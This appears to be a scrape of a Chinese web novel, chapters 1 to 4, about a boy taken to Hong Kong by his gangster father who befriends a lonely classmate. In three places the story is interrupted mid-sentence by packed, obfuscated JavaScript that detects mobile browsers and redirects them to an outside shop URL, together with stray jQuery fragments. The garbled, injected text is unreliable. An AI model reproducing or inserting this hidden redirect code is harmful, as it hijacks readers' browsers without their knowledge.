《偷车贼,别跑》 1. 第 1 章 两千零六年初夏,港岛湾仔区。 一个眉眼深邃柔和,却穿着破衬衫浑身土里土气的大陆少年被五花大绑在一辆破面包车里拼命挣扎;与其同行的还有一个穿着花布衬衫叼着一根粗雪茄,浑身痞里痞气的中年男人。 到了出租屋楼下,那男孩嘴里塞着的一块破布才被那中年男人扯下。 那中年男人用蹩脚的潮汕话对江扩说:“我叫江广荣,是你爸。” “江广荣我扑你母,放我回去!”江扩在狭长的面包车里大声怒喝。 江扩不明白为什么素未谋面的流氓父亲要突然出现在老家那排满是烟火气的老厝,也不明白为什么他爸要这样五花大绑把他弄到这个光怪陆离的地区。 以至于直到过了罗湖海关口岸,江扩的脑子还是懵的。 “江广荣,放我回去,”江扩带着哭腔,“我明天还要拍小学毕业照呢!” “我不管你在你爷爷奶奶那听过多少我的坏话,反正你现在我把你弄过来了,你就得听我的。”江广荣往车窗外呼出一口烟。 “你不是不要我吗?”江扩对着他爸怒吼道。 “我现在要你了。”江广荣说。 江扩被他的流氓父亲连同几个跟屁虫一起抬到破旧的出租屋上面,这才给他松了绑。 “房间给你整理好了,以后你就住这了。”江广荣把儿子半提半拽扔到那个收拾好的房间。 房间被布置得干净利落,甚至还给放上一张小清新书桌,和一个实木大书柜。敢情他爸江广荣对于把儿子绑到香港生活一事是预谋已久的。 “我什么时候回去?”江扩跪在床边一脸木讷。 “你不用回去了,”江广荣语气平淡道,“香港寸土寸金,别人来都得花多大功夫;我是为你好,揭阳那个破地方谁要待呢。” “江广荣,我扑领母......”江扩没骂完,江广荣叼着雪茄,过来不轻不重扇了他一巴掌。 江扩挣扎了一天早就筋疲力尽,被他爸一扇直接躺倒在床上闭眼睡死过去。 连续几天,江广荣白天玩失踪,晚上带着几道淡淡的血痕回家。偶尔会有几个跟屁虫跟过来,和江广荣倚在破沙发上谈生意。 也不知道他这个流氓父亲在外面做了什么见不得人的龌龊事。 窄死人的房间密不透风,那扇小破窗户又打不开。每到午后,外头翻滚的热浪从那扇小破窗漫进来,弄得江扩浑身燥热无比。 江扩终于受不了这种压抑到几近呕血的环境,撇下江广荣几个跟屁虫独自跑出那间又窄又破的出租屋到街头散心。 “鱼蛋嘞!鱼蛋嘞!” “明报明报!叉叉明星被爆一|夜|情!” “碗仔翅,好好味嘅碗仔翅!” 街头的小摊贩在卖力叫喝,颇有香港味道。但江扩此刻并不想理会这些商贩,他恨透香港这个花里胡哨的地方。 江扩站在一条繁华的街道上,双眼带着迷茫。 “这什么鬼地方?”江扩暗骂一声,随即钻进一条湿漉漉又脏兮兮的老巷,终于到了另一条街。 已经到了香港中学的放学时间,街上陆陆续续有穿着正装的中学生结伴回家。有的骑着单车,有的坐地铁,一些家里“富到流油”的学生坐上专属司机的名牌车扬长而去。 那些富到流油的学生,脸上无一不带着骄傲自大目中无人的表情。 “扑领母,这是什么鬼地方?”江扩又低头用潮汕精髓骂了一句,好不痛快。 不久江扩经过一所贵族中学,不经意间瞥到三个古惑仔在戏弄一个脑子看着不太灵光的小孩儿。那小孩看着应该和自己差不多年纪。 那小孩身穿贵族学校的校服正装满脸惶恐,衣服上几颗酱油渍若隐若现,一米六七的个子在三个大龄古惑仔的包围下显得如此渺小。 江扩放慢脚步从他们身边走过,一边用余光偷偷观察情况。 “大陆仔,今天带了多少钱出来?赞助一下我们几个吧,没钱吃饭了。”其中古惑仔一号凑过去贱兮兮说。 “我没钱喔。”那小孩委屈巴巴说。 “你个名都大富大贵咯,怎么可能会没钱?”古惑仔二号阴阳怪气道。 “我真没钱,我爸没给我多少钱。”小孩带着哭腔回答道。 “那就是有咯!”一号古惑仔发出一声怪笑,把那小孩的书包从背后扯下来。 当那小孩发出一声绝望的呜咽过后,江扩的脚步骤然刹住了。 几个古惑仔把小孩的书包链拉开,一堆书和笔从里面一件件掉出来,满地狼藉。 “噢噢噢噢噢噢!”几个古惑仔推开小孩,蹲下去一通翻找。 “还真没钱喔。”一个古惑仔往旁边地上啐了一口。 不少穿着正装的学生从旁边走过,用幸灾乐祸的眼神瞥了那个邋邋遢遢的小孩一眼,匆匆躲开了。 小孩蹲在地上哭哭唧唧,左鼻孔流下一行清鼻涕。江扩盯着那小孩干净白嫩的脸良久,最后决定出手帮忙。 “喂,冚家铲!”江扩朝那群人爆冲过去。 三个古惑仔闻声转头,便看见一个穿着土土的衬衫,身高一米七几处于变声期末期的小孩朝他们挥手。 “又是个大陆仔!”古惑仔三号骂完,往嘴里叼了根烟。 江扩不想在这个破地方生事端,又想赶紧带这个夯货小孩离开这个鬼地方,绞尽脑汁终于想出个破方法。 “你跟谁混的?敢来惹我们?”三号古惑仔嘴里叼着根烟,对江扩不耐烦道。 “听不懂。”江扩远远冲他们喊道。 “他们说,你是跟谁混儿的。”小孩儿坐在一旁用带着东北大碴子味儿的普通话给江扩翻译。 江扩双手抱胸,度假似的不慌不忙朝那几人走过去。 “我,是大名鼎鼎的大哥荣的儿子,”江扩把那邋邋遢遢正在收拾书包的小孩揪起来,“这个,是我的小弟,我是他大哥。” 黎大福莫名其妙认了个大哥,对着身旁高他六厘米的新大哥目瞪口呆。 几个古惑仔面面相觑,许久一片哄笑。 “你阿爸是大哥荣,那我就是铜锣湾扛把子咯。”二号古惑仔抹干笑出来的眼泪说。 “那我打个电话证明一下,怎么样?”江扩冲二号古惑仔裤兜里的诺基亚破手机抬了抬下巴。 几个古惑仔第一次见到这么厚脸皮说谎话不眨眼的小孩,欣然答应。二号古惑仔把自己的破诺基亚手机塞给江扩。 “打不通你们这两个扑街今晚就别回家了。”二号古惑仔说。 “好。”江扩接过手机,在按键上随便按了几个号码拨过去。 放在耳边许久,江扩扫视那三个古惑仔一圈,对着手机发怒道: “我,江扩,你亲儿子!江广荣,管好你那些没脑子通街撒野的小弟!” “怎么样?”江扩歪着头问。 “我听听看。”几个古惑仔不信邪,纷纷凑过来正要听电话那头的声音。 这时江扩掐好时间,指着几人背后脸色大变: “大,大哥荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721981|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 几人又倏地转过头朝江扩指着的方向望去,只有一个书摊的老板伯伯愕然朝这边看过来。 江扩趁这间隙把诺基亚手机远远砸到贵族学校门口的大理石柱上,揪着夯货小孩的袖口飞奔逃离现场。 那几个古惑仔这才发现上当,捡起摔碎的手机在两人身后骂骂咧咧紧紧追着。 “冚家铲,企系度(站住)啊!” 江扩不识路,只凭着自己强烈的求生欲望带着小夯货在大街小巷钻来钻去,跑了半天终于把那几个古惑仔彻底甩开。 “你真是大哥荣的儿子?”黎大福用东北大碴子味儿的普通话问道。 “我没当有这个父亲。”江扩冷冷道。 “那意思就是了?”黎大福双眼发光,“真他么厉害!” “那你自己去做他儿子吧。”江扩歇息够了,撇下夯货小孩就要离开。 黎大福犹豫片刻,还是一路小跑跟过来。 “你跟我干什么?”江扩加快脚步想甩掉这个夯货小孩。 “你救了我,我可得报答你,”小孩用东北大碴子味儿的普通话信誓旦旦道,“江大哥,以后我就跟你混儿吧。” “滚,我不碰那种烂玩意儿。”江扩白了夯货一眼,跑得更快了。 跑了一整条街,江扩回过头的时候还见那个小孩在后面紧跟着。 “你叫什么名字?”江扩放慢脚步问。 “黎,黎大福。”黎大福极不好意思地挠了几下后脑勺。 “好,黎大福,你再跟着我,我他么就揍你一顿!”江扩挥了几下拳头 。 黎大福脸上闪过一瞬的畏惧,最后还是赖着没有走。 江扩板着脸往前走了几步,回想起那个怪名字又倏地刹住脚步。 “哪个大?哪个福?”江扩扭头问后面的黎大福。 “大哥的大,福气的福。”黎大福跟严刑逼供似的咬牙切齿道。 江扩忍了几秒没忍住,从鼻腔里发出一声“噗嗤”,紧接着捂住肚子蹲到地上差点笑岔气。 “黎大福!为什么不是周大福?哈哈哈哈哈......” “这他么有什么好笑的?我姐还叫黎多财呢。”黎大福顿感不爽,往地面狠狠跺了几脚。 江扩顿了几秒,笑得更疯了。 黎大福心头的火越窜越旺,心中暗暗发誓将来有一天一定要把自己这个破名字改掉。 笑完,黎大福还是跟了江扩大半路程。 江扩终于再次受不了这个跟踪狂,转过身和黎大福对瞪着。 “你身后有只大公狮子!”江扩佯装一脸恐惧,伸出食指朝黎大福身后颤抖指了过去。 “啊?”黎大福大惊失色,朝江扩指的方向望去。 江扩趁这个时候敏捷钻进早餐店隔壁的窄楼梯,又趴在栏杆的一角偷偷观察黎大福的反应。 这小孩怎么还挺好骗的。 黎大福张望四周,没有看到江扩所说的公狮子。街上唯一的动物只有无数的行人,还有一个老太太推着一辆婴儿车,上面坐着一只长得有点像狮子的长毛猫。 “那根本不是狮子好吧。”黎大福回过头正想跟江大哥解释,却发现街上已经不见江扩的身影。 “大哥?江大哥?”黎大福在路人匆匆的街上大声呼唤。 江扩生平第一次被人认成大哥,躲在楼梯口捂着嘴巴差点笑出声。 黎大福在街上边找边喊了很久,江扩都没再出现。 最后黎大福还是独自一人悻然回了家。 2. 第 2 章 江扩回到他爸那个老巢的时候,江广荣早已在客厅等候多时。 “你去哪了?”江广荣叼着一根万宝路问。 “要你管。”江扩白了他爸一眼回了房间,双脚一跃跳到床上。 “小扩,今晚去茶餐厅吃饭。”江广荣又悠悠走过来说。 “你谈生意叫我去干嘛?”江扩的脸埋在枕头里,“不去。” “没有谈生意啊。”江广荣摆出一副无所谓的样子道。 “不去。”江扩闷闷的声音从枕头里传出来。 “点解啊?”江广荣问。 “心虚,我不想用你的脏钱吃那么贵的东西。”江扩悠悠道。 几番劝说无果后,江广荣故技重施,跟几个跟屁虫协力合作把江扩连捆带绑抬到楼下的面包车里。 江扩挣扎一路都无济于事,最后只能无力靠在车窗上小声喘气。 “江广荣,我扑领母......” 车驶到铜锣湾一家有名的茶餐厅门口停下。 江广荣的几个跟屁虫捂着耳朵,纷纷下了车。江扩也在江广荣的拖拽下不情愿踏出车门。 茶餐厅的招牌闪着耀眼的五彩霓虹灯光,颇有香港特色。然而江扩只觉得厌烦。 江广荣似乎是这家茶餐厅的常客,一进门口就有几个服务生毕恭毕敬朝几人鞠躬。 江扩拖着软绵无力的双腿,垂头丧气跟在江广荣和几个跟屁虫后面。 路过人声鼎沸的大厅,江扩听着饭桌上那些人讲着他完全不懂的语言越发厌恶,心里暗暗想着总有一天要离开香港这个鬼地方。 江广荣为了跟这个刚认回来的亲儿子亲密一些,凑过来想搂住江扩的肩膀。江扩胃里一阵翻江倒海,把他流氓父亲的手推开了。 “别碰我。”江扩咬着牙说。 “随便你咯。”江广荣耸肩,带几人进了一个包厢。 江广荣在江扩嫌弃的目光下,拖了张椅子坐到江扩身边,江扩默默往旁边移了一下椅子。 江广荣为了给这个刚认回来的儿子留点好的印象,全程一直在示好。 “这个是金钱肚。”江广荣把一块还在滴着油的金钱肚夹到江扩碗里。 江扩默默把肉夹到碟子上不管。 “这个是烧腊。”江广荣又把一块肉夹到江扩碗里。 江扩故技重施。 “这个是......” “不吃。”江扩冷冷道。 江广荣摇头,发出一声长长的叹息。 “你自便。”江广荣把江扩碟里不吃的东西一股脑夹到自己碗里,慢悠悠吃着。 江扩干坐着发愣,直到肚子里传来一声闹饥荒的咕噜响,才不情不愿拿起筷子,给自己夹了一颗晶莹剔透的虾饺。 江广荣见自己的儿子终于肯吃东西,欣然给江扩倒了一大杯茶。 “这个是大红袍。”江广荣说。 “哼。”江扩推开茶杯,对着面前一堆蒸笼发愣。 茶凉了,江扩也没对那个大茶杯施舍一眼。 “江广荣,我到底什么时候能回去?”江扩讷讷问道。 “回哪?”江广荣吃饱喝足,给自己点了根万宝路。 “揭阳。”江扩想起自己的爷爷奶奶小堂妹和一堆村里的伙伴,忍不住喉咙哽咽。 “你不用回去了,香港多好啊,”江广荣徐徐呼出一口烟,“我以前没有过做父亲的经历,难免会不太适应,但是我希望我们父子俩能好好相处。” “那你就不要做,没人强求你做,”江扩语气冷冽道,“你在香港混得风生水起,明明可以把我扔在揭阳那个小地方一辈子不管我,为什么要突然把我弄过来?” “香港是个好地方,我是为你好。”江广荣说。 “香港是个烂地方,”江扩说,“我讨厌香港,也讨厌你。” 江广荣默不作声从包里掏出两张学校申请表,放到江扩面前。 “不看。”江扩偏过头。 “学校申请表,两间选一个。”江广荣朝那两张纸抬了抬下巴。 “扑领母的,我不上!”江扩倏地站起来,又被江广荣强行按下去。 “你当年入学比较晚,现在这个年龄读中一不太适合,我给你报了中二插班生,”江广荣见江扩老实了,缩回手说,“这两间学校离家近,一间是名牌学校,环境很好,对你将来有好处;另一间环境不好,学生也乱,反正是间破学校,我不推荐。” “不上。”江扩慌了。 “不上也好,那就跟着我混。”江广荣露出一排满是烟渍的牙齿贱兮兮一笑。 “我不混!”江扩更慌了。 “要么读书,要么跟我混,两件选一个。”江广荣说。 江扩一脸绝望跟他爸对瞪良久,才伸着无力的双手把那两张申请表拿过来。 两张申请表都印着密密麻麻的繁体字,下面还注满花体英文,极度陌生又极度压抑。江扩心里不由得激起一阵强烈的恐惧感。 当看到那张贵族学校的申请表的校名时,江扩突然想起今天刚救的那个夯货小孩。 那小孩邋邋遢遢,名字土里土气,普通话带着一股东北大碴子味儿,喜感十足。江扩不禁对着申请表嗤嗤笑出声。 江广荣脸色微变,心想这个刚认回来的儿子莫不是被他逼疯了。 江扩擦干笑出来的眼泪,毫不犹豫选了那间破学校。 “为什么?”江广荣不耐烦地抿了抿他那两片厚嘴唇。 “心虚,我不想拿你的脏钱读那么好的学校。”江扩放下申请表悠悠道。 江广荣的一个跟屁虫吊着牙签偷偷白了江扩一眼。 “随便你,有书读就行。”江广荣说。 打道回府后,江扩回了房间趴在门口偷听他爸跟手下聊天的内容,突然动了个歪心思。 如果抓到他爸的把柄,把线索提供给香港的差馆,说不定就能送他爸去坐监了。 如果江广荣成了监趸,那他实现回大陆老家的梦想,指日可待! 可惜才来香港不久,江扩只会说那一两句粤语粗口,其他一概不懂。偷听整整半个小时江扩也摸不着头绪,最后只好往地面狠狠跺了几脚泄泄愤。 几个跟屁虫走后,江扩出了房间,大摇大摆站到他爸面前。 “今天我在街头遇到几个欺负小孩的古惑仔,是你的手下?”江扩问。 “什么手下?”江广荣嗤了一声,“这附近总是有些自称是我小弟的古惑仔,我根本就不认识他们;这种人我都懒得看一眼。” “你是不是觉得你自己很牛逼?”江扩一声冷笑。 “我可没有这样说。”江广荣耸了耸肩膀。 “你给我等着。”江扩歪起头邪魅一笑。 “等什么?”江广荣低头点了根万宝路。 “既然我被你绑来香港,那我就认命了,”江扩说,“不过将来我会成为一名香港皇家警察,然后亲手把你送去坐监。” “你当不了。”江广荣徐徐呼出一口烟。 “怎么当不了?”江扩白了他爸一眼。 “你爸可是大哥荣,附近有名的流氓,”江广荣挑起眉说,“你觉得父亲有不良背景,你当差人会被他们信任?他们会看好你?别看太多电影了,好好做人吧。” 江扩被怼得哑口无言,怒目跟江广荣对视半晌。 “来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“啧,”江扩窘迫的瞥了一下店里的老板,“不许那样叫我!” “大哥,你在看龙虎门吗?”黎大福无视大哥的警告,搬了张小凳子坐到旁边。 “离我远点。”江扩冷冷道。 “这期的比较好看。”黎大福熟稔地从摊上挑了另一期龙虎门,放到江扩膝盖上。 “不看。”江扩默不作声把黎大福推荐的那期放回摊上,埋头继续看他那本龙虎门。 黎大福笑眯眯移了一下小凳子,坐的更近了。 “大哥,你是大陆哪儿的?”黎大福凑过去问。 江扩下意识本想回答,犹豫片刻后只是抿了抿嘴唇,把头埋的更深了。 “大哥,我是东北的,辽宁那块儿。” “哼,”江扩淡淡回答道,“听得出来。” “大哥,你为啥来香港?” “大哥,你叫啥名字?江什么?” “大哥,你是哪里人?你的普通话口音好奇怪啊,你不会是泰国的吧?” “大哥,你......” 对于小夯货一系列跟查户口没什么两样的问题,江扩忍了又忍还是没忍住,盖上书面拿着漫画在他脑瓜上不轻不重扇了一下。 黎大福滔滔不绝的问题戛然止住,几秒后又从喉咙发出几声委屈的呜咽,嘤嘤的同时人中淌下两行清鼻涕。 见小夯货突然使出必杀技,江扩对着黎大福哭得梨花带雨的脸几秒,莫名有些内疚。 “别哭了!”江扩又局促不安瞥了一下店里的老伯伯,咬着牙对黎大福道。 黎大福抹干净脸上七横八竖的的泪痕,搬着小凳子坐得更近了。 3. 第 3 章 “大哥,你......” 江扩挥起拳头在黎大福面前晃几下,吓得黎大福又倏地闭了嘴。 “闭嘴,要么别说话,要么滚蛋。”江扩收起拳头,冷冰冰道。 黎大福没再说话,就那样趴在江扩旁边的书摊上陪了他整整一个钟头。 江扩看完两本《龙虎门》,把漫画放回书摊上,紧接着伸了个大懒腰。 黎大福已经趴在书摊上小声打着呼噜,头发乱成鸡窝。江扩回头的时候,正好看见一行晶莹透明的口水从黎大福嘴角滑落,微微浸湿了书摊上一本漫画的书角。 研究片刻黎大福的睡容,江扩突然发现这小夯货长得还蛮清秀的。 快到晚饭时间,江扩低头看了一眼手表,正准备起身离开。黎大福听见声响,也迷迷糊糊睁开眼睛。 一想到要回江广荣那个不见天日的老巢,江扩就浑身不适。但迫于他流氓父亲的权威,他不得不回去。 江扩撇下睡眼惺忪的黎大福,跟书店老板道了声别后走出书摊。 黎大福擦掉嘴角的口水痕迹,一路小跑跟了过来。 “大哥,我跟你一起回去吧。”黎大福说。 “你去干什么?”江扩加快步伐想甩开这个小夯货。 “我要看看大哥荣真人长什么样!”黎大福一脸兴奋道。 “不想死的话就赶紧走。”江扩冷冷道。 “我不会死的,”黎大福说,“我这名儿开过光,能保我不受血光之灾。” 江扩没忍住笑了一声,开始在街道上拼命飞奔。黎大福又在身后紧紧着,怎么甩都甩不掉。 “别跟着我!”江扩冲身后的黎大福吼了一声。 “江大哥,我很乖很好养的,你就让我跟着你吧。”黎大福大声喊道。 “扑领母,真是阴魂不散!”江扩骂完,跑的更快了。 跑了整整一条街,江扩已经筋疲力尽,在街角停下来直喘粗气。黎大福也跟着停下来,靠在旁边的鱼蛋摊歇息。 “鱼蛋嘞,好好味嘅鱼蛋嘞!”鱼蛋摊老板拿着把大剪刀,在摊前卖力吆喝着。 见一个邋里邋遢的小孩突然靠在鱼蛋摊上大口喘气,鱼蛋摊老板挥起剪刀大喝一声,吓得黎大福猛地朝江扩那边靠去。 “别拦住我做生意啊!”鱼蛋摊老板怒道。 黎大福看了鱼蛋摊上的大锅一眼,又转头跟身旁满脸写着嫌弃的江扩对视半晌。 “干什么?”江扩皱起眉警惕地看着黎大福。 黎大福没有回答,下一秒又直直朝鱼蛋摊走去。 “来一碗鱼蛋。”黎大福说。 “收到。”老板即刻换了张脸,低头笑吟吟给黎大福剪了一串鱼蛋。 黎大福接过鱼蛋,从口袋里摸出几张皱巴巴的港币放到摊上。鱼蛋摊老板拿了钱正准备放进塑料筐里,那边突然急急传来一声吆喝。 “走鬼啊!” 街角冷不丁窜出来几个差人,老板脸色瞬间大变,把钱扔进塑料筐后推着鱼蛋摊溜之大吉。 “大哥,看呆了吧,”黎大福往碗里戳了一颗鱼蛋咬进嘴里,“这就是香港特色,常有的事儿。” “我可看不出来有什么狗屁特色的。”江扩一声冷哼。 “大哥,吃鱼蛋不,这儿还有签。”黎大福把碗伸到江扩面前。 江扩低头瞥了一眼碗里八颗圆溜溜的鱼蛋,睫毛微微颤了几下,又抬眸跟黎大福对视良久。 “你跟着我|干什么?”江扩问。 “我想跟你交朋友,”黎大福咽下一颗鱼蛋后又道,“我在香港一个朋友都没有,他们都说我是大陆仔不跟我玩,我爸妈只忙着赚钱,我姐忙着拍拖都不管我;我太孤独了。” “你走吧,我在这个鬼地方,不想跟任何人交朋友。”江扩冷冷抛下一句就要离开。 “江大哥,等我!”黎大福揣着小碗跑过来。 江扩心中愈发烦闷,猛地扭头冲黎大福一声咆哮。 “走啊!” 黎大福属实被这声震耳欲聋的咆哮唬住了,碗里的汤汁溢出些许在衣服上,给本就污迹斑斑的校服正装添了点新污渍。 最后江扩撇下嘤嘤抽泣的黎大福回了江广荣那个不见天日的老巢。黎大福也没再跟上来。 见江大哥还是没理睬自己,黎大福独自垂头丧气靠在街边吃完整碗鱼蛋,到附近的车站等叮叮车。 对于多数香港人来说,叮叮车已经算是最平价的交通工具了。 黎大福最喜欢坐在叮叮车第二层靠前后车窗的位置,倚在车窗看街景,一边思考人生。 自己应该是整个贵族学校里唯一一个坐叮叮车回家的学生吧。 从六周岁来香港到现在,黎大福依旧感觉自己跟香港这个富有地方特色的繁华都市格格不入。他完全不明白为什么父母那么想发大财,也完全不明白为什么他们偏偏选择来这个快节奏生活压抑的地方。 他也不明白家里明明没有那么多钱,父母还是把他塞到那所学费高昂花里胡哨的贵族学校,绞尽脑汁想让他跻身于本就不属于他的上层社会。 他成了整个学校家境最穷酸的学生,也成了那些目中无人的同学口中的“大陆仔”。 只有每次考试过后优于常人的学习成绩,才能让他在贵族学校里捡起一丁点面子。 到了饭点,江广荣还没回家。江扩拖着饥肠辘辘的身躯到楼下肠粉店勉强填饱肚子,又回到他那个密不透风的房间死气沉沉躺着。 直到晚上十点多,江广荣牵着一辆精挑细选的自行车回了老巢。 “刚买的,给你上学用。”江广荣把车扔到江扩面前,低头点了根万宝路。 “别在我房里抽烟,”江扩整个头蒙进被子里,“我不要单车,把它弄走。” “不用单车你行路去学校啊?”江广荣挥挥手走出房间,“你爱要不要。” 江扩跳下床把房间的门摔上,又把新自行车推倒在地。 来香港这么久,江扩唯一的发泄方式就是对着那扇开不了的小窗闷声流眼泪,活像个被逼嫁人的深闺怨妇。 白天在街上毫无目的晃悠的时候,江扩的情绪还能稳定些许。可到了晚上独自一人对着那扇小窗偷偷饮泣的时候,江扩才不得不承认,自己想家了。 老家那排满是烟火气的老厝,每天对着柴米油盐拌嘴的爷爷奶奶,喜欢对着院子里那棵芒果树唱歌的堂妹,每逢过节在村口搭的那个潮剧戏棚子,还有一堆村里的小伙伴。 当某天忍耐到了极限,江扩动了逃跑的心思。 “扑领母的江广荣,扑领母的香港,见鬼去吧。”江扩反锁上门,开始整理几件从老家带过来的衣服。 大清早江广荣跟几个跟屁虫出去做生意,江扩从床上爬起来看了一眼手表,七点五十分。 回大陆需要穿过长长的红磡隧道,穿满是烟火气的九龙城区,再经过新界各个地区,到达香港海关口岸,那边就是自己真正的家了。 江广荣另外两个跟屁虫还在沙发上小声打着呼噜,桌上放了几个啤酒樽。 江扩悄无声息拿一个旧塑料袋随便装上几件衣服,蹑手蹑脚出了门。 逃跑计划正式启动。 二十多分钟后,江扩到了贵族学校附近的一个地铁站。贵族学校现在大门紧关,那个夯货中学生估计正在班里上课。 江扩对着学校大门愣了好一会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721983|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才鬼鬼祟祟钻进地铁站口。 地铁站里人来人往,上面挂着一堆繁体字和英文交错的牌子,江扩越看越头疼。最后终于找到入口,正要闯进去,又被一个穿制服的人拦住了。 “刷卡先啦。”那人说。 “啊?什么?”江扩用潮式普通话愣愣问道。 “八达通啊。”那人切换成港式普通话一脸不耐烦说。 “什么扒大桶?”江扩一头雾水。 “没有八达通?去那边买币。”那人朝那边几台机器抬了抬下巴。 “我没钱。”江扩没好气地道。 “没钱就学人家搭地铁,回家拿钱再来吧。”那人白了江扩一眼,转身离开了。 “扑领母,这什么鬼地方,搭地铁还要扒什么大桶,装什么呢。”江扩一边愤懑骂着,一边朝地铁口走去。 江扩在路边找到一个车站,对着渐近的叮叮车挥了挥手。 上车的时候,江扩见司机没有要求付钱,松了一口气。正想走到离后门最近的位子坐下,思索片刻又走回去问道。 “这辆车能去到海关口岸吗?” “不能。”司机语气平淡回答道。 江扩愤懑地捶了一下旁边的柱子,在司机的注视下从前门跳下车。 晃了大半个上午,江扩依旧在贵族学校附近徘徊。快到中午了,那个夯货中学生这会估计在食堂吃饭。 太阳越来越毒辣,江扩跟只狗似的伸舌头散热,拖着软绵无力的身子走到书店歇息。 店里的老伯伯正拿着个放大镜看报纸,见江扩从门口走进来,笑眯眯放下手中的放大镜。 “我能喝杯水吗?”江扩问。 老伯伯拿了个纸杯给江扩倒了一杯温水。 “谢谢。”江扩接过水,咕咚咕咚喝了几大口,接着发出一声满足的叹息。 “这里要怎么去海关口岸?”江扩放下水杯问道。 “很远喔,要搭地铁或者打的士。” 江扩休息半刻,又抱着一袋衣服,站到路边学路人招手,终于拦下一辆的士。 “去哪里?”司机问。 “罗湖海关口岸。”江扩说。 的士司机瞥了一眼后座这个浑身围绕着阴郁气息的大陆男孩一眼,缓缓开了车。 路途遥远,江扩最先还在纠结车费的问题,经过红磡海底隧道的时候才浅浅靠在车窗睡了过去。 再次睁眼的时候,车已经到了海关附近。 “到了,”的士司机停下车,对身后的江扩说,“三百二十。” “港,港币吗?”江扩支支吾吾问道。 “嗯。” “我没钱。”江扩说。 司机的脸肉眼可见的气成青色,江扩又在司机准备破口大骂的瞬间开了车门一溜烟跑了,剩下司机在后面狂按喇叭。 终于到了海关口岸,江扩却陷入迷茫。 要怎么回大陆?自己没有通行证,没有监护人,要怎么通过海关? 偷|渡?要怎么偷|渡?游泳过去吗?自己好像是挺擅长游泳的。 脑里冒出偷|渡这个词的时候,江扩忍不住打了个与此刻天气格格不入的寒噤。 偷|渡是犯法的。他还想做一个遵纪守法的好公民,死也不能变成他的流氓亲爹那副德行。 在海关附近徘徊了将近一个钟,江扩也想不出任何不经过海关也能合法回大陆的方法;最后只好倚在一根铁柱子前,对着海关对面遥不可及的的建筑牵着嘴角惨笑。 逃跑计划居然卡在最后这一关。 江扩生平第一次遭受如此灭顶的绝望,也是第一次铁铁实实发现孤身一人在香港这个地方是多么卑不足道。 4. 第 4 章 大半个下午过去,江扩已经被烈日晒得头晕目眩。 直到傍晚天色逐渐昏暗,江扩才扶着铁柱子缓缓站起来,拼命晃了几下晕乎乎的头。 既然回不了家,那就先回扑街江广荣那个老巢吧。逃跑计划,从长计议。 江扩忍着太阳穴突突的胀痛,在路边拦了辆的士。 “去边度?”的士司机问。 “湾仔D道依家肠粉店。”江扩捂着额头,痛苦地喘了几下气。 半路江扩又浅浅睡了过去。直到车驶入港岛,才又迷迷糊糊睁开眼睛。夜晚的维多利亚港霓虹璀璨,游轮上站着一批外地游客,眼神崇拜望着这片令人垂涎的繁华土地。 江扩白了那群对香港这片地趋之若鹜的蠢货一眼,倒向另一侧车窗闭眼小憩。 到江广荣那个老巢,江扩抱着一袋衣服摇摇晃晃下了车。 “江少,你又去哪了?”一个跟屁虫从楼梯口小跑过来,“荣哥快担心死了,一直在叫你名字呢。” “还钱,谢谢。”江扩忍着头疼,无力地指了指身后的的士。 这时街头刚好经过一对年轻的情侣。那身着时髦的女孩跟男朋友并肩聊天,聊着聊着似乎被什么话语激怒了,拿起自己的镶着银钻的小黑皮包往男的头上咣咣猛砸,嘴里时不时吐出几句污言秽语。 “这什么鬼地方?”江扩暗骂一声,撇下身后的跟屁虫扶着楼梯生锈的栏杆一步步往上面移。 进了门,只见江广荣坐在沙发上一脸陶醉抽着雪茄,手里拿着一本学校校规研究。旁边的冷气发出嗡嗡的刺耳噪音,也不知道用了多少年。 父亲的表现分明跟在悠闲度假似的,看不出来刚丢了儿子。 “江广荣。”江扩咬着牙喊道。 “你去哪了?”江广荣放下雪茄悠悠问道。 “玩。”江扩迈着凌乱的步伐走向房间。 “你喝酒了?”江广荣皱着眉问。 “要你管。”江扩忍着倒地的冲动,正准备砸上门。 “你袋子里装的什么?”江广荣又问。 江扩没有回答,正准备把门反锁上。江广荣趁这时,带着那本校规破门而入。 “校规,自己研究研究,”江广荣把正本校规塞进江扩怀里,“后天学校报到。” “滚。”江扩把校规扔到地上,往床的方向移了几步。 一步,两步,三步。最后终于中彩绊了床脚一下,在床尾摔了个狗啃泥,顺带眼前一黑失去意识。 江广荣脸色大变,冲过去检查这个刚认回来的儿子是不是死掉了。 经过一整天太阳暴晒,江扩成功中暑,体温飙升到四十度。江广荣碍于流氓身份,不敢送儿子到大医院检查,只好跟几个跟屁虫抬着江扩到附近一家小医院输液。 江扩迷迷糊糊醒来的时候,江广荣在身边小声打电话。 愣了几秒,江扩正想掀开被子走人,这时才发现浑身酸痛到动弹不得,左手还扎着针。 “醒了?”江广荣挂了电话。 “你给我等着,”江扩筋疲力尽躺回病床,“我将来会通过我自己的努力离开香港这个鬼地方,回去大陆我真正的家,我会证明给你看。” 